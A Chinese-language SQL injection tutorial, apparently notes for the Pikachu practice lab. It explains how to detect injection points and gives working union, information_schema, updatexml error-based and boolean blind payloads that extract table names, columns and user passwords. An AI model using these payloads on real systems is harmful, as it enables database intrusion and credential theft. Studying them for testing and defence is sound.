- SQL注入攻击原理
SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。
- SQL注入攻击分类及提交方式
攻击分类及提交方式
注入前的准备与注入漏洞检测
在进行 SQL 注入攻击时,需要利用到从服务器返回的各种出错信息,默认设置是不显示详细错误返回信息的,因此首先要取消 IE 浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息
将浏览器设置选项高级 显示取消友好 HTTP 错误信息
手工检测 SQL 注入点
最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.*****.com/***.asp?id=xx (ASP 注入)
或者下面的链接。
http://www.*****.com/***.php?id=xx (php 注入)
http://www.*****.com/***.jsp?id=xx (jsp 注入)
http://www.*****.com/***.aspx?id=xx (aspx 注入)
http://www.*****.com/index.asp?id=8&page=99 (有多个参数)
(注:注入的时候确认是 id 参数还page 参数,工具默认只对后面 page 参数注入,所以要对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html 伪静态
其中的“**”可能是数字,也有可能是字符串
分别被称为整数类型数据和字符型数据
如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。
1.“单引号”法
第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。
2. 1=1 和 1=2 法
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但 这并不等于不存在 SQL 注入漏洞。此时可使用经典的“1=1 和 1=2”法进行检测。方法很简 单,就是直接在链接地址后分别加上 and 1=1 和 and 1=2 进行提交,如果返回不同的页面, 那么说明存在 SQL 注入漏洞。
注入分类
数字型注入
注入参数为数字
字符型注入
注意单引号闭合
搜索型注入
%xxx%' or 1=1 #%
SQL 的模糊查询命令 select * from 表名 where 字段名 like ‘%(对应值)%’;
XX型注入
XX') or 1=1#
单引号闭合
由于 SQL 语句拼接方式不同
注入提交方式
ASP
request (全部接受)
request.querystring (接受 get)
request.form (接受 post)
request.cookie(接受 cookie)
PHP:
$_REQUEST(全部接受)
$_GET(接受get)
$_POST (接受 post)
$_COOKIE(接受 cookie)
三种方式注入方法
post
可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成
get
一般直接通过浏览器地址栏提交
cookie
一般通 Burp 工具来完成,修改cookie,进行一个注入
注意
这是由程序代码自身决定的
一般中间件 waf 防火墙 对get防护最高 其次是post 最后是cookie
很多人在写注入防御代码时,写了post get的,但是没有过滤cookie的
- union及information schema手工注入
union 注入
union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。
确认字段个数
注:union 操作符一般与 order by 语句配合使用
因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。
例如 若a' order by 4#%之前都没有报错,则三个字段
使用union针对查出来的字段数做一个SQL语句拼接
例如a' union select database(),user(),version()#%
information_schema 注入
information_schema (提纲)数据库是 MySQL 系统自带的数据库。
其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来
先通过之前的union先找出数据库的名称
输入 vince' union select database(),user(),3#%
得到数据库名
获取pikachu数据库的表名
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
where table_schema='pikachu'
指定数据库
from information_schema. tables为 information_schema数据库库中的table表
table_schema ,table_name
为table表中的两个字段
table_schema
存储了数据库名
table_name
存储了表名
由此得到了表名
获取 pikachu 数据库的字段名
k'union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
table_name='users'指定表名为users的表
from information_schema.columns 为 information_schema数据库库中的columns表
table_name,column_name
table_name
存储了表名
column_name
存储了字段名
得到了字段名
最后获取敏感字段值的内容 username uid 等
输入:kobe'union select username ,password,3 from users#%
对密码解密
- 基于函数报错手工注入(insert update delete)http Header及Cookie手工注入
基于函数报错注入
常见攻击方法
updataxml注入
载荷注入
insert注入
updata注入
delet注入
extractvalue()注入
技巧思路
在 MYSQL 中使用一些指定的凼数来制造报错,从而从报错信息中获取设定的信息,
常见的select/insert/update/delete 注入都可以使用报错方式来获取信息.
背景条件
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
运维人员设置中间件的时候,把错误输出没有屏蔽
程序员写网站代码的时候,没有屏蔽错误信息输出
基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
使用频率最高
函数使用UPDATEXML (XML_document, XPath_string, new_value);
三个参数
XML_document
XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
XPath_string
XPath_string (Xpath 格式的字符串) ,如果丌了解 Xpath 语法,可以在网
上查找教程。
new_value
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
extractvalue() :函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数
floor():MYSQL 中用来取整的函数
实战测试
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
前后的1 ,代表替换到查找到的一个数据
concat拼接函数
0x7e
~ 十六进制
(SELECT @@version)
查询语句
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
获取数据库 表名
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
更改 limit 后面的数字 limit 0 完成表名遍历
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
结果说明
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后 CONCAT 将其字符串化。因为 UPDATEXML 第二个参数需要 Xpath 格式的字符串,所以不符合要求,然后报错。
insert注入(注册信息使用函数)
insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。
在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等
基本格式
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
or的作用是将后文变成一条语句
实战
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where
table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update注入(用于用户登陆端修改用户信息)
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload
' or updatexml(0,concat(0x7e,(database())),0) or'
delet注入(删除相关)
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
遇到的问题
burp数据包提交报错
选定之后,对其进行url编码
- (布尔型、时间型)手工盲注
布尔盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。
select id,name from product where id=1 and 1=1
布尔型盲注步骤和语句
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值